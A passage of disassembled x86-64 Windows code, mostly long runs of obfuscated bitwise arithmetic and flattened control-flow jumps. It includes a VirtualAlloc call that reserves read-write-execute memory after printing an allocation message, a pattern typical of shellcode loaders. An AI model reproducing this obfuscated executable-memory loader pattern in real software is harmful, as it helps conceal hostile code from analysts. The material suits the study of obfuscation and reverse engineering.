and eax, 0x10e2ffa6
and r8d, 0xef1d0059
or r8d, eax
or esi, r10d
and r10d, 0x10e2ffa6
and r14d, 0xef1d0059
or r14d, r10d
mov ecx, dword [rbp - 0x28]
mov ebx, ecx
xor r14d, r8d
mov eax, r9d
and r9d, 0x31ce831f
and ebx, 0xce317ce0
or ebx, r9d
xor ebx, 0xce317ce0
or ebx, ecx
not esi
or esi, r14d
not esi
mov edx, r11d
and edx, esi
xor esi, r11d
or esi, edx
and ecx, 0xf198acc6
and eax, 0xe675339
or eax, ecx
mov edx, eax
not edx
and edx, 0xb57d84c7
and eax, 0x4a827b38
or eax, edx
mov edx, eax
xor edx, 0x9902553a
xor eax, 0x40c42800
and eax, 0x62dcaac4
and edx, 0x9d23553b
or edx, eax
mov eax, edx
xor eax, 0x90011101
xor edx, 0x24c0804
and edx, 0xf6e4c3e
and eax, 0xf091b3c1
or eax, edx
mov edx, eax
xor edx, 0x6680808
xor eax, 0x90800080
and eax, 0x998644b6
and edx, 0x6679bb49
or edx, eax
mov eax, edx
xor eax, 0x6679bb49
mov ecx, ebx
not ecx
xor edx, 0x998644b6
and ecx, edx
or edx, ebx
not edx
and ebx, eax
or ebx, ecx
mov eax, edx
and eax, ebx
xor ebx, edx
or ebx, eax
mov eax, ebx
not eax
mov edx, eax
and edx, 0x2ebc800c
mov ecx, ebx
and ecx, 0xd1437ff3
or ecx, edx
mov edx, ecx
xor edx, 0xd1437ff3
mov edi, esi
not edi
and edx, edi
xor ecx, 0x2ebc800c
and ecx, esi
or ecx, edx
mov edx, ecx
xor edx, edi
and edx, ecx
mov ecx, edi
and ecx, 0x8b50c125
and esi, 0x74af3eda
or esi, ecx
xor esi, 0x8b50c125
or esi, eax
not esi
and eax, 0x20d0e3e0
and ebx, 0xdf2f1c1f
or ebx, eax
xor ebx, 0x20d0e3e0
or ebx, edi
not ebx
mov eax, esi
and eax, ebx
xor ebx, esi
or ebx, eax
mov eax, edx
not eax
mov ecx, ebx
not ecx
mov edi, eax
or edi, ecx
not edi
and eax, 0xe920883b
and edx, 0x16df77c4
or edx, eax
and ecx, 0xe920883b
and ebx, 0x16df77c4
or ebx, ecx
xor ebx, edx
mov eax, edi
and eax, ebx
xor ebx, edi
or ebx, eax
mov edi, ebx
not edi
mov ecx, edi
and ecx, 0x1b8f65cf
mov edx, ebx
and edx, 0xe4709a30
or edx, ecx
mov ecx, edx
xor ecx, 0x44600000
xor edx, 0x1b8f65cf
mov eax, edi
and eax, ebx
mov esi, edx
and esi, 0xa89b9e74
and ecx, 0x5764618b
or ecx, esi
mov esi, eax
not esi
or edx, esi
and esi, 0xa89b9e74
and eax, 0x5764618b
or eax, esi
xor eax, ecx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0x6505906f
and edx, 0x9afa6f90
or edx, eax
mov eax, edx
xor eax, 0x18682f10
and eax, 0x3c6c3f34
xor edx, 0x4101804b
and edx, 0xc393c0cb
or edx, eax
mov ecx, edx
xor ecx, 0x3c6c3f34
and ecx, edx
and ebx, 0x4adac36c
mov eax, edi
and eax, 0xb5253c93
or eax, ebx
xor eax, 0x894903a7
and edi, 0xc393c0cb
or edi, eax
mov eax, edi
not eax
and eax, 0x12f77d41
and edi, 0xed0882be
or edi, eax
mov eax, edi
xor eax, 0xed0882be
xor edi, 0x12f77d41
mov edx, ecx
not edx
and eax, edx
or edx, edi
not edx
and edi, ecx
or edi, eax
mov eax, edx
and eax, edi
xor edi, edx
or edi, eax
mov ecx, edi
mov eax, edi
xor eax, 0x3c6c3f34
and eax, edi
not edi
and edi, 0x82c2c24
and ecx, 0x34401310
or ecx, edi
mov edx, ecx
xor edx, 0x30400110
xor ecx, 0xcbbfecef
mov ebx, ecx
and ebx, 0x8e3bb689
and edx, 0x30440934
or edx, ebx
mov ebx, eax
not ebx
or ecx, ebx
and ebx, 0x8e3bb689
and eax, 0x71c44976
or eax, ebx
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xf47782cc
and eax, ecx
and ecx, 0xb887d33
or ecx, edx
mov edx, ecx
xor edx, 0x2082511
xor ecx, 0xf47782cc
mov ebx, ecx
and ebx, 0x7da75a2e
and edx, 0x8258a5d1
or edx, ebx
mov ebx, eax
not ebx
or ecx, ebx
and ebx, 0x7da75a2e
and eax, 0x8258a5d1
or eax, ebx
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xcca025af
and ecx, 0x335fda50
or ecx, eax
mov eax, ecx
xor eax, 0x8020af
xor ecx, 0x33014a00
and ecx, 0xff214f00
and eax, 0xdeb0ff
or eax, ecx
mov ecx, eax
xor ecx, 0xff214f00
xor eax, 0xdeb0ff
mov edx, eax
and edx, 0xe375d041
and eax, ecx
and ecx, 0x1c8a2fbe
or ecx, edx
mov edx, ecx
xor edx, 0x8002a9c
xor ecx, 0xe375d041
mov ebx, ecx
and ebx, 0xd7bf8523
and edx, 0x28407adc
or edx, ebx
mov ebx, eax
not ebx
or ecx, ebx
and ebx, 0xd7bf8523
and eax, 0x28407adc
or eax, ebx
mov edi, dword [0x1400508cc]
xor eax, edx
not ecx
or ecx, eax
setne r8b
sete r11b
cmp edi, 9
setg r9b
cmp edi, 0xa
setl sil
mov eax, esi
xor al, r11b
not al
and al, r11b
mov ebx, esi
or bl, r11b
mov ecx, ebx
xor cl, al
xor al, 1
xor cl, 1
or al, bl
xor al, 1
or al, cl
mov r10d, esi
xor r10b, al
xor r10b, 1
xor al, r10b
xor al, 1
xor r10b, al
xor r10b, 1
and r10b, al
and r9b, r11b
mov eax, r8d
and al, sil
or al, r9b
mov ecx, eax
xor cl, r8b
xor cl, 1
or al, r11b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov edx, esi
or dl, r8b
xor dl, 1
xor sil, r8b
mov ebx, edx
and bl, sil
xor sil, dl
or sil, bl
mov ebx, esi
not bl
and bl, sil
xor bl, 1
mov edx, esi
xor dl, bl
or bl, sil
xor bl, 1
or bl, dl
mov r8d, ebx
xor r8b, 1
mov edx, eax
and dl, cl
xor al, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, al
mov r9d, edx
xor r9b, 1
or bl, r8b
xor bl, r8b
mov edi, r9d
and dil, dl
mov esi, edi
mov r11d, edi
xor r11b, dl
mov ecx, ebx
and cl, r8b
and dil, dl
or dil, r11b
xor dil, r8b
or dl, r8b
xor r8b, r9b
xor sil, 1
or sil, r9b
xor sil, 1
or sil, r11b
xor cl, 1
mov eax, ecx
xor al, bl
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, sil
and cl, al
and al, sil
xor cl, 1
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
xor r8b, 1
xor dl, 1
or dl, r8b
xor dl, 1
mov ecx, edi
and cl, dl
xor dl, dil
or dl, cl
mov ecx, eax
xor cl, 1
mov ebx, eax
and bl, cl
mov r8d, ebx
and r8b, al
xor bl, al
or bl, r8b
mov eax, ebx
and bl, dl
mov r8d, ecx
and r8b, dl
xor cl, dl
xor dl, 1
xor al, 1
and al, dl
or bl, al
or cl, r8b
xor cl, 1
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov r9d, ecx
xor r9b, 1
mov ebx, r10d
xor bl, 1
mov r11d, r9d
xor r11b, r10b
mov edx, r11d
and dl, r9b
and r11b, r10b
mov eax, edx
and al, r11b
xor r11b, dl
or r11b, al
mov eax, r11d
xor al, 1
and r11b, r10b
or r10b, bl
mov edx, ebx
xor dl, r10b
and r10b, bl
and bl, al
or r11b, bl
xor r11b, 1
or r11b, al
mov r8d, r11d
xor r8b, 1
or cl, r9b
or r10b, dl
xor r10b, 1
mov eax, edx
and al, r10b
xor r10b, dl
or r10b, al
mov eax, ecx
or al, r9b
xor cl, r9b
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
xor cl, 1
mov eax, ecx
or al, r10b
xor al, 1
xor cl, r10b
xor cl, 1
and cl, r10b
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov r9d, ecx
xor r9b, 1
mov edx, r11d
xor dl, r8b
and dl, r11b
mov eax, r9d
xor al, cl
and al, r9b
mov r10d, ecx
or r10b, r9b
mov ebx, edx
xor bl, 1
and bl, dl
mov esi, ebx
and sil, dl
xor bl, dl
or bl, sil
mov esi, r10d
xor sil, al
xor al, 1
mov edx, eax
and dl, r10b
xor al, r10b
or al, dl
mov edx, esi
xor dl, al
or al, sil
xor al, 1
or al, dl
xor al, 1
mov edx, eax
or dl, bl
xor dl, 1
xor al, bl
xor al, 1
and al, bl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebx, ecx
mov r10d, r8d
and r10b, cl
xor cl, r8b
and r8b, r11b
xor r8b, 1
mov edx, r11d
xor dl, r8b
or r8b, r11b
and bl, r9b
xor r8b, 1
or r8b, dl
xor bl, 1
mov edx, r9d
xor dl, bl
or bl, r9b
xor bl, 1
or bl, dl
mov edx, r8d
xor dl, 1
and dl, bl
xor bl, 1
and bl, r8b
or bl, dl
or cl, r10b
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, 1
xor al, 1
mov edx, eax
or dl, cl
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x2ac7fc7e
mov ebx, 0xeff26724
cmovne ecx, ebx
test al, 1
mov eax, ecx
mov ebx, 0x2ac7fc7e
cmovne eax, ebx
test dl, 1
jmp 0x1400160ec
mov eax, 0xf2506465
mov dword [rbp - 0x48], 0xffffffff
cmp eax, 0xf65f02e7
jg 0x140001cdb
jmp 0x140004d70
mov eax, 0xf2506465
mov ecx, dword [rbp - 0x44]
mov dword [rbp - 0x48], ecx
cmp eax, 0xf65f02e7
jg 0x140001cdb
jmp 0x140004d70
sub rsp, 0x20
lea rcx, str.___Allocating__d_bytes_of_memory_n
mov edx, 0xfc69
call fcn.1400010d7
mov edx, 0xfc69
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
add rsp, 0x20
mov eax, 0x49ac6f7e
cmp eax, 0xf65f02e7
jg 0x140001cdb
jmp 0x140004d70
sub rsp, 0x20
lea rcx, str.____Oh_gosh__something_went_wrong_
call sub.api_ms_win_crt_stdio_l1_1_0.dll_puts
add rsp, 0x20
mov eax, dword [0x1400508d0]
lea r9d, [rax - 1]
imul r9d, eax
mov r8d, r9d
not r8d
mov eax, r8d
and eax, 0xb70183e9
mov edx, r9d
and edx, 0x48fe7c16
or edx, eax
mov eax, edx
xor eax, 0x40602810
xor edx, 0xb0000009
mov esi, r8d
or esi, 0xf6fd3c99
mov ecx, esi
not ecx
or edx, 0x802c222
and edx, 0xb89ed62b
and eax, 0x46612890
or eax, edx
and esi, 0xb89ed62b
and ecx, 0x1000144
or ecx, esi
xor ecx, eax
mov eax, ecx
not eax
and eax, 0xdba08569
and ecx, 0x245f7a96
or ecx, eax
mov eax, ecx
xor eax, 0x4280460c
xor ecx, 0x58170
and ecx, 0x90278173
and eax, 0x6fd87e8c
or eax, ecx
mov ecx, eax
xor ecx, 0x47587200
xor eax, 0x90200110
and eax, 0xb8a00d9c
and ecx, 0x475ff263
or ecx, eax
mov esi, ecx
xor esi, 0x475ff263
mov edx, r8d
and edx, 0x55c7786e
mov edi, r9d
and edi, 0xaa388791
or edi, edx
mov ebx, edi
xor ebx, 0xaa388791
xor edi, 0x15c26844
and edi, 0x1ff2ed54
mov edx, ebx
and edx, 0xe00d12ab
or edx, edi
xor edx, 0xe00d12ab
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x1d648ce
and edx, 0xfe29b731
or edx, ebx
mov ebx, edx
xor ebx, 0x90018120
xor edx, 0x1d648ce
mov eax, esi
xor eax, edx
and eax, esi
xor ecx, 0x28200494
and ecx, 0x6f2e3695
and esi, 0x90d1c96a
or esi, ecx
and edx, 0x6f2e3695
and ebx, 0x90d1c96a
or ebx, edx
xor ebx, esi
mov edx, eax
not edx
mov ecx, ebx
not ecx
mov edi, edx
and edi, 0x3ad1fa13
and eax, 0xc52e05ec
or eax, edi
or edx, ecx
and ecx, 0x3ad1fa13
and ebx, 0xc52e05ec
or ebx, ecx
xor ebx, eax
not edx
or edx, ebx
mov eax, edx
not eax
mov ecx, edx
xor ecx, 0xb81c7f3a
and ecx, edx
or edx, 0x47e380c5
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0xd3569b38
and eax, 0x28086402
or eax, edi
or edx, ebx
and ebx, 0xd3569b38
and ecx, 0x2ca964c7
or ecx, ebx
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x7c882e8b
and edx, 0x8377d174
or edx, eax
mov ebx, edx
xor ebx, 0x2942200e
xor edx, 0xc49451b1
mov eax, edx
and eax, 0xd2bd8f71
and ebx, 0x2d42708e
or ebx, eax
mov eax, ebx
xor eax, 0x2d42708e
xor ebx, 0xd2bd8f71
mov edi, ebx
or edi, 0x269a970c
mov ecx, edi
not ecx
or edx, 0xd96568f3
mov esi, edx
not esi
and edi, 0xd3f6b709
and ecx, 0x80148f2
or ecx, edi
and edx, 0xd3f6b709
and esi, 0x24080004
or esi, edx
xor esi, ecx
mov ecx, esi
not ecx
and ecx, 0xd1a6b35b
and esi, 0x2e594ca4
or esi, ecx
xor esi, 0x8c3dba8
or ebx, eax
not ebx
mov eax, esi
and eax, ebx
xor ebx, esi
or ebx, eax
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0x5dda1704
and eax, ebx
and ebx, 0xa225e8fb
or ebx, ecx
xor ebx, 0xa225e8fb
mov ecx, ebx
and ecx, eax
xor ebx, eax
or ebx, ecx
mov eax, ebx
not eax
and eax, 0x4b65beac
and ebx, 0xb49a4153
or ebx, eax
mov edx, ebx
xor edx, 0x94120113
xor ebx, 0x364bc00
and ebx, 0x23ecfc40
and edx, 0xdc1303bf
or edx, ebx
mov r10d, edx
xor r10d, 0x23ecfc40
xor edx, 0xdc1303bf
and r8d, 0xa837f3e
and r9d, 0xf57c80c1
or r9d, r8d
mov edi, r9d
xor edi, 0xf57c80c1
xor r9d, 0xa837f3e
mov eax, edi
or eax, 0x2051bdc8
mov esi, eax
not esi
mov ebx, r9d
or ebx, 0xdfae4237
mov ecx, ebx
not ecx
and eax, 0x6e488670
and esi, 0x91a64007
or esi, eax
and ebx, 0x6e488670
and ecx, 0x113988
or ecx, ebx
xor ecx, esi
mov eax, ecx
not eax
and eax, 0x65d8665f
and ecx, 0x9a2799a0
or ecx, eax
mov eax, ecx
xor eax, 0x45894112
and edi, 0x6f91d1aa
and r9d, 0x906e2e55
or r9d, edi
mov ebx, r9d
xor ebx, 0x10682050
xor ecx, 0xba762468
xor r9d, 0x6f91d1aa
mov edi, ecx
and edi, 0xa8169e85
and eax, 0x57e9617a
or eax, edi
or ecx, r9d
and r9d, 0xa8169e85
and ebx, 0x57e9617a
or ebx, r9d
xor ebx, eax
not ecx
or ecx, ebx
mov eax, ecx
not eax
and ecx, eax
mov ebx, eax
and ebx, ecx
xor ecx, eax
or ecx, ebx
mov ebx, ecx
not ebx
mov eax, ebx
and eax, 0x46bb2274
mov edi, ecx
and edi, 0xb944dd8b
or edi, eax
mov eax, edi
xor eax, 0xb944dd8b
and eax, r10d
xor edi, 0x46bb2274
and edi, edx
or edi, eax
not edi
or edi, r10d
and r10d, 0xa1112c7d
mov eax, edx
and eax, 0x5eeed382
or eax, r10d
xor eax, ecx
xor eax, 0xa1112c7d
and eax, ecx
and ebx, 0x28324432
and ecx, 0xd7cdbbcd
or ecx, ebx
xor ecx, edx
xor ecx, 0x28324432
and ecx, edx
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov edx, ecx
and ecx, edi
not edi
not edx
mov eax, edi
xor eax, edx
and eax, edi
and edx, edi
or edx, ecx
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 1
mov eax, edx
and eax, 0xfffffffe
or eax, ecx
mov edi, eax
not edi
mov ecx, edi
and ecx, 0x3a4653
and eax, 0xffc5b9ac
or eax, ecx
mov ecx, edx
and ecx, 0x3a4653
mov r13d, ebx
and r13d, 0xffc5b9ac
or r13d, ecx
xor r13d, eax
not r13d
or r13d, edi
mov r11d, r13d
not r11d
mov eax, ebx
and eax, 0xec849df0
mov ecx, edx
and ecx, 0x137b620f
or ecx, eax
mov eax, ecx
xor eax, 0xc849c60
and eax, 0x1fcdfc6d
xor ecx, 0xf349619d
or ecx, eax
mov eax, ecx
not eax
and eax, 0x7ed7cc64
and ecx, 0x8128339b
or ecx, eax
mov edi, ecx
xor edi, 0x80200213
mov eax, ebx
and eax, 0x23a08f30
and edx, 0xdc5f70cf
or edx, eax
xor edx, 0xc3928ca2
xor ebx, edx
and ebx, edx
xor ecx, 0x7ed7cc64
mov eax, ebx
not eax
mov edx, ecx
or edx, eax
not edx
and ecx, 0x15dcbdc8
and edi, 0xea234237
or edi, ecx
and eax, 0x15dcbdc8
and ebx, 0xea234237
or ebx, eax
xor ebx, edi
mov eax, edx
and eax, ebx
xor ebx, edx
or ebx, eax
mov r12d, ebx
mov eax, ebx
xor eax, 0x1fcdfc6c
and eax, ebx
not ebx
and ebx, 0x1c8d2825
and r12d, 0xe372d7da
or r12d, ebx
mov ecx, r12d
xor ecx, 0x2400400
xor r12d, 0x1c8d2824
or r12d, 0xe0320393
mov edx, eax
not edx
mov ebx, r12d
and ebx, 0x5503fb7f
and ecx, 0xacc0400
or ecx, ebx
or r12d, edx
and edx, 0x5503fb7f
and eax, 0xaafc0480
or eax, edx
xor eax, ecx
not r12d
or r12d, eax
mov eax, r13d
and eax, 0x800880ac
mov ecx, r11d
and ecx, 0x38802210
or ecx, eax
xor ecx, 0x38802210
mov r14d, r13d
xor r14d, 0x47775d43
and r14d, r11d
mov eax, ecx
and eax, r14d
xor r14d, ecx
or r14d, eax
mov eax, r14d
not eax
and eax, 0xc2d1bea0
and r14d, 0x3d2e415f
or r14d, eax
mov r9d, r14d
xor r9d, 0x85a6e3e3
mov r8d, r12d
not r8d
xor r14d, 0x7a591c1c
mov eax, r14d
and eax, 0x5ddb8720
mov ecx, r9d
and ecx, 0xa22478df
or ecx, eax
mov esi, ecx
xor esi, 0xa22478df
xor ecx, 0x11530220
and ecx, 0xb1772a22
mov eax, esi
and eax, 0x4e88d5dd
or eax, ecx
xor eax, 0xf6ec6e33
and esi, 0x479b4411
or esi, eax
mov eax, esi
not eax
and eax, 0xbe1d1a0b
and esi, 0x41e2e5f4
or esi, eax
mov r15d, esi
xor r15d, 0x41e2e5f4
mov r10d, esi
xor r10d, 0xbe1d1a0b
and r13d, 0xbdc484c2
and r11d, 0x423b7b3d
or r11d, r13d
mov ebx, r11d
xor ebx, 0x423b7b3d
xor r11d, 0x88c484c0
and r11d, 0xc8f7ced1
mov eax, ebx
and eax, 0x3708312e
or eax, r11d
xor eax, 0x7093753f
and ebx, 0xb864bbee
or ebx, eax
mov eax, ebx
not eax
and eax, 0xfd3372fa
and ebx, 0x2cc8d05
or ebx, eax
mov r11d, ebx
xor r11d, 0x2cc8d05
mov eax, r8d
and eax, 0x6a8ce2c0
mov ecx, r12d
and ecx, 0x95731d3f
or ecx, eax
xor ecx, 0xd2e8592e
mov edi, ecx
xor edi, r8d
mov eax, r8d
and eax, 0x64c1cfce
mov edx, r12d
and edx, 0x9b3e3031
or edx, eax
xor edx, 0x235a8bdf
mov eax, r12d
and eax, 0x479b4411
or eax, edx
mov edx, eax
not edx
and edx, 0xcfb54911
and eax, 0x304ab6ee
or eax, edx
and edi, ecx
mov ecx, r10d
and ecx, 0xd8a2686
xor esi, 0x4c68c372
and esi, r15d
mov r13d, ecx
and r13d, esi
xor esi, ecx
mov edx, ebx
xor edx, 0xfd3372fa
xor ebx, 0xf46ab83
and ebx, edx
or esi, r13d
mov ecx, r11d
and ecx, 0xf275d979
mov r13d, ebx
and r13d, ecx
xor ecx, ebx
or ecx, r13d
mov ebx, esi
not ebx
and ebx, ecx
not ecx
and ecx, esi
or ecx, ebx
mov esi, r15d
and esi, 0xd840ac65
and r10d, 0x27bf539a
or r10d, esi
or r15d, r11d
and r11d, 0xd840ac65
and edx, 0x27bf539a
or edx, r11d
xor edx, r10d
mov esi, eax
xor esi, 0x304ab6ee
not r15d
or r15d, edx
mov edx, r15d
not edx
and edx, 0x724baf8
and r15d, 0xf8db4507
or r15d, edx
xor r15d, 0xf8db4507
mov edx, ecx
and edx, r15d
xor r15d, ecx
or r15d, edx
mov ecx, edi
not ecx
mov ebx, esi
xor ebx, ecx
and ebx, esi
xor eax, 0x4e250900
and eax, 0x4e2f3920
and esi, 0xb1d0c6df
or esi, eax
and ecx, 0x4e2f3920
and edi, 0xb1d0c6df
or edi, ecx
mov eax, r12d
xor r12d, 0x779dfea1
and r12d, r8d
xor edi, esi
mov ecx, ebx
and ecx, edi
xor edi, ebx
or edi, ecx
mov ecx, r15d
not ecx
and ecx, 0xb54457a6
mov edx, r15d
and edx, 0x4abba859
or edx, ecx
xor edx, edi
xor edx, 0xb54457a6
and edx, edi
mov ecx, edi
not ecx
and ecx, 0xaa7aa2cf
and edi, 0x55855d30
or edi, ecx
xor edi, r15d
xor edi, 0xaa7aa2cf
and edi, r15d
mov ecx, edx
and ecx, edi
xor edi, edx
or edi, ecx
mov ecx, r14d
and ecx, 0x490c80fb
and r9d, 0xb6f37f04
or r9d, ecx
mov ecx, r9d
xor ecx, 0xb6f37f04
and eax, 0x7bbac11e
and r8d, 0x84453ee1
or r8d, eax
xor r8d, 0x84453ee1
xor r9d, 0xc16e81a5
and r9d, ecx
or r14d, 0x8862015e
mov eax, r14d
not eax
mov edx, r9d
not edx
mov ebx, edx
and ebx, 0x4a650698
and r9d, 0xb59af967
or r9d, ebx
mov ebx, r8d
and ebx, 0x8862015e
or edx, r14d
and r14d, 0x4a650698
and eax, 0x3598f821
or eax, r14d
xor eax, r9d
not edx
or edx, eax
mov eax, ebx
and eax, r12d
xor r12d, ebx
or r12d, eax
mov eax, edx
not eax
and eax, 0xf67e5fed
and edx, 0x981a012
or edx, eax
mov eax, r12d
not eax
and eax, 0xf67e5fed
and r12d, 0x981a012
or r12d, eax
xor r12d, edx
mov eax, ecx
and eax, r8d
xor r8d, ecx
or r8d, eax
mov eax, r8d
not eax
mov ecx, r12d
not ecx
mov edx, ecx
and edx, 0x641cfa82
and r12d, 0x9be3057d
or r12d, edx
or ecx, r8d
and r8d, 0x641cfa82
and eax, 0x9be3057d
or eax, r8d
xor eax, r12d
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x314c0
mov edx, ecx
and edx, 0x80102
or edx, eax
xor edx, 0x80102
and ecx, 0xfff4ea3d
or ecx, edx
mov eax, ecx
not eax
and eax, 0xfff4ea3d
and ecx, 0xb15c2
or ecx, eax
mov eax, ecx
not eax
mov edx, edi
xor edx, eax
and edx, edi
mov ebx, edi
not ebx
and ebx, 0x646b79be
and edi, 0x9b948641
or edi, ebx
and eax, 0x646b79be
and ecx, 0x9b948641
or ecx, eax
xor ecx, edi
mov r10d, edx
not r10d
mov ebx, ecx
not ebx
mov eax, r10d
and eax, 0xf68ba18b
and edx, 0x9745e74
or edx, eax
or r10d, ebx
and ebx, 0xf68ba18b
and ecx, 0x9745e74
or ecx, ebx
xor ecx, edx
not r10d
or r10d, ecx
mov r8d, r10d
not r8d
mov eax, r8d
and eax, 0xa0110100
mov edx, r10d
and edx, 0x534c000f
or edx, eax
mov eax, edx
xor eax, 0x42400003
xor edx, 0xacb3fff0
mov ecx, r10d
xor ecx, 0xf35d010f
and ecx, r10d
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x3d8cf79c
and eax, 0xc2510003
or eax, edi
or edx, ebx
and ebx, 0x3d8cf79c
and ecx, 0xc2730863
or ecx, ebx
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0xca2fef0
and edx, 0xf35d010f
or edx, eax
mov eax, edx
not eax
and eax, 0x50346
and edx, 0xa2ec91
or edx, eax
xor edx, 0xa2ec91
or edx, 0xff581028
mov eax, r8d
and eax, 0xa7efd7
mov ecx, r10d
and ecx, 0xff581028
or ecx, eax
not ecx
or ecx, r8d
mov edi, ecx
not edi
and ecx, 0xe4fc41a5
mov ebx, edi
and ebx, 0x1b03be5a
or ebx, ecx
xor ebx, 0x1b03be5a
mov ecx, edx
xor ecx, 0x8c1f56e9
and ecx, edx
mov esi, edx
mov r9d, ebx
mov eax, edx
and eax, ebx
xor ebx, edx
not edx
xor esi, 0x746c1
and esi, edx
and r9d, 0x73e0a916
and edi, 0x8c1f56e9
or edi, r9d
mov edx, ecx
and edx, esi
xor esi, ecx
or esi, edx
mov ecx, esi
not ecx
and ecx, 0x8c9c22bf
and esi, 0x4163cd40
or esi, ecx
mov ecx, edi
not ecx
and ecx, 0xbe9c22bf
and edi, 0x4163dd40
or edi, ecx
xor edi, esi
or ebx, eax
mov eax, ebx
not eax
and eax, 0x8bb84c44
and ebx, 0x7447b3bb
or ebx, eax
xor ebx, 0x7447b3bb
mov eax, edi
and eax, ebx
xor ebx, edi
or ebx, eax
mov eax, ebx
mov ecx, ebx
xor ecx, 0x7525875f
and ecx, ebx
not ebx
and ebx, 0x35200407
and eax, 0x40058358
or eax, ebx
xor eax, 0x40058358
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0xb682efc5
and ecx, 0x497d103a
or ecx, eax
mov edx, ecx
xor edx, 0x3cff78b2
xor ecx, 0xc300874d
mov eax, ecx
and eax, 0x2c5f0305
and ecx, edx
and edx, 0xd3a0fcfa
or edx, eax
xor edx, 0xd3a0fcfa
mov eax, edx
and eax, ecx
xor edx, ecx
or edx, eax
mov eax, edx
not eax
and eax, 0x88e78442
mov ecx, edx
and ecx, 0x77187bbd
or ecx, eax
mov eax, ecx
xor eax, 0x77187bbd
xor ecx, 0xe11ebdc7
and ecx, eax
and edx, 0x9606c67a
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov eax, edx
not eax
and eax, 0x9436cf22
and edx, 0x6bc930dd
or edx, eax
mov r9d, edx
xor r9d, 0x100948
xor edx, 0xfdcff6a7
mov eax, edx
and eax, 0x562590b7
and r9d, 0xa9da6f48
or r9d, eax
xor r9d, 0xa9da6f48
or r9d, edx
mov eax, r10d
xor eax, 0x7812fe67
and eax, r10d
mov ecx, r10d
or ecx, 0x87ed0198
mov edx, eax
not edx
mov edi, ecx
and edi, 0xa1aca91d
mov esi, r8d
and esi, 0x58125662
or esi, edi
or ecx, edx
and edx, 0xa1aca91d
and eax, 0x5e5356e2
or eax, edx
xor eax, esi
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xdbf88a4f
and ecx, 0x240775b0
or ecx, eax
mov edi, ecx
xor edi, 0x4c150393
xor ecx, 0x83e02020
and ecx, 0x93e0a864
and edi, 0x6c1f579b
or edi, ecx
mov eax, edi
xor eax, 0x2005049b
and r8d, 0xbcee6e65
and r10d, 0x4311919a
or r10d, r8d
mov ecx, r10d
xor ecx, 0x201009a
xor edi, 0x93e0a864
xor r10d, 0xbcee6e65
mov edx, edi
and edx, 0x4dbad304
and eax, 0xb2452cfb
or eax, edx
or edi, r10d
and r10d, 0x4dbad304
and ecx, 0xb2452cfb
or ecx, r10d
xor ecx, eax
not edi
or edi, ecx
mov eax, edi
not eax
and eax, 0x6b9a6a4
and edi, 0xf946595b
or edi, eax
mov ecx, edi
xor ecx, 0xf946595b
mov edx, edi
xor edx, 0x6b9a6a4
mov ebx, r9d
and ebx, edx
mov r10d, r9d
xor r10d, edx
or r10d, ebx
mov r8d, r10d
not r8d
mov ebx, r9d
not ebx
mov esi, r9d
or esi, 0x860e9b09
and edx, 0x82081108
xor edi, 0x7f48c252
and edi, ecx
mov eax, ecx
and eax, 0x4068a01
or eax, edx
mov ecx, esi
not ecx
xor eax, 0x4068a01
or ebx, 0x38a14430
and ebx, 0xbca3d530
and r9d, 0x20c0a09
or r9d, ebx
and esi, 0xbca3d530
and ecx, 0x415020c6
or ecx, esi
xor ecx, r9d
mov edx, eax
and edx, edi
xor edi, eax
or edi, edx
mov eax, ecx
not eax
and eax, 0x3bddd040
and ecx, 0xc4222fbf
or ecx, eax
mov eax, edi
not eax
and eax, 0x3bddd040
and edi, 0xc4222fbf
or edi, eax
xor edi, ecx
and r10d, 0xbb196439
mov ecx, r8d
and ecx, 0x44e69bc6
or ecx, r10d
xor ecx, 0x44e69bc6
mov edx, edi
mov esi, edi
xor esi, 0x53db68c0
and esi, edi
not edi
and edi, 0xe54b6191
and edx, 0x1ab49e6e
or edx, edi
mov r9d, edx
xor r9d, 0x1ab49e6e
mov ebx, ecx
and ebx, r9d
xor r9d, ecx
and ecx, 0x53db68c0
and r8d, 0xac24973f
or r8d, ecx
xor edx, 0x414b6080
or edx, 0xac24973f
mov ecx, edx
not ecx
mov eax, esi
not eax
mov edi, edx
and edi, 0xb35f5260
and ecx, 0x40802880
or ecx, edi
or edx, eax
and eax, 0xb35f5260
and esi, 0x4ca0ad9f
or esi, eax
xor esi, ecx
not edx
or edx, esi
mov eax, r8d
not eax
and eax, edx
not edx
and edx, r8d
or edx, eax
or r9d, ebx
not r9d
mov eax, edx
and eax, r9d
xor r9d, edx
or r9d, eax
mov eax, r9d
mov r8d, r9d
not r8d
and eax, 0x6d116bda
mov edx, r8d
and edx, 0x92ee9425
or edx, eax
mov eax, edx
xor eax, 0x41016300
xor edx, 0x800e1425
and edx, 0xac1e1cff
